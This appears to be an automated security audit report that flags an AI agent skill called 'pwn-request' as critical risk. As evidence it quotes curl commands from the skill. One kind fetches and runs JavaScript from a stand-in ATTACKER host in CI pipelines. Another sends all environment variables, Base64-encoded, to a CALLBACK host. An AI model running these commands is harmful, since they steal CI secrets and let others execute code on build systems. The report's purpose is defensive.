pwn-request
Fail
Audited by Gen Agent Trust Hub on Nov 9, 2026
Risk Level: CRITICALREMOTE_CODE_EXECUTIONDATA_EXFILTRATIONCOMMAND_EXECUTIONOBFUSCATIONDYNAMIC_EXECUTIONEXTERNAL_DOWNLOADS
Full Analysis
- [REMOTE_CODE_EXECUTION]: The skill provides functional payloads designed to download and execute arbitrary JavaScript files from untrusted remote servers within CI/CD pipelines.
- Evidence:
curl -sSfL https://ATTACKER/cacheract.js > /tmp/r.js && node /tmp/r.jsandcurl -sSfL https://ATTACKER/r.js > /tmp/r.js && node /tmp/r.js. - [DATA_EXFILTRATION]: Contains specific instructions to harvest all environment variables (which typically contain secrets and credentials in CI/CD environments) and exfiltrate them to an external server.
- Evidence:
curl -sSfL https://CALLBACK/$(printenv | base64 -w0). - [COMMAND_EXECUTION]: Lists multiple shell commands and tools like
grep,gh search, andgato-xused specifically for automating the discovery and exploitation of vulnerable infrastructure. - [OBFUSCATION]: Utilizes Base64 encoding within its exfiltration payloads to mask the harvesting of sensitive data, which is a common technique used to evade network-based detection.
- [DYNAMIC_EXECUTION]: Describes methods for achieving arbitrary code execution by poisoning build scripts and package manager lifecycle hooks (e.g., preinstall/postinstall) that run dynamically during typical build and installation processes.
- [EXTERNAL_DOWNLOADS]: Instructions facilitate the download of scripts from untrusted domains (
ATTACKER,CALLBACK) which represent malicious infrastructure and are not part of any trusted vendor list.
Recommendations
- HIGH: Downloads and executes remote code from: https://ATTACKER/cacheract.js, https://ATTACKER/r.js - DO NOT USE without thorough review
- AI detected serious security threats
Audit Metadata